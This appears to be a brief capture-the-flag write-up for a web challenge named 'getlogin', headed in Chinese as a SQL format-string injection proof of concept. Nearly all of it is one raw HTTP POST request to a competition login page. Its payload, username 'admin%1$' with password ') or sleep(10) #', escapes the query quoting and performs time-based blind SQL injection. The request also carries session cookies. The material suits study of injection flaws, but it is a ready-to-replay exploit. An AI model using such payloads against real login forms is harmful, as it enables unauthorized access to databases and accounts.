web

getlogin

sql 格式化注入

poc

POST /login.php HTTP/1.1
Host: pk.cnhongke.net:20231
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://pk.cnhongke.net:20231
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://pk.cnhongke.net:20151/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=61f7a5f2-715b-438f-8581-0ba85bacd47f; se_user_type=anonymous; mdLogger=false; kampyle_userid=56eb-8086-1a46-64be-3cb2-0a92-8ae0-56fe; mdigital_alternative_uuid=25fe-da7a-c805-db55-f4e8-12b7-9aa1-b3d4; PHPSESSID=ct3mqrj483vtf0pfvr6uqvnvg1; LAST_INVITATION_VIEW=1629857300722; DECLINED_DATE=1629857445584; kampyleUserSession=1629867999959; kampyleUserSessionsCount=9; kampyleSessionPageCounter=1; kampyleUserPercentile=87.56711953774538; kampylePageLoadedTimestamp=1629867999991
Connection: close

username=admin%1$&password=) or sleep(10) #&subl=OK